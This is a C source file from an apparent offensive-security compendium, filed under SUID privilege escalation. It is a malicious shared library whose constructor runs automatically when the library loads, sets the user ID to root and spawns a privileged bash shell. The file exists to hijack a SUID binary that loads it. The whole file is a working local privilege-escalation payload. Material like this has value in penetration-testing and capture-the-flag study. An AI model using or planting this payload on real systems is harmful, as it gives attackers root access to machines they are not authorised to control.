killchain-compendium/post_exploitation/priv_esc/suid/libcalc.c

10 lines
147 B
C
Raw Normal View History

2021-08-23 01:13:54 +02:00
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}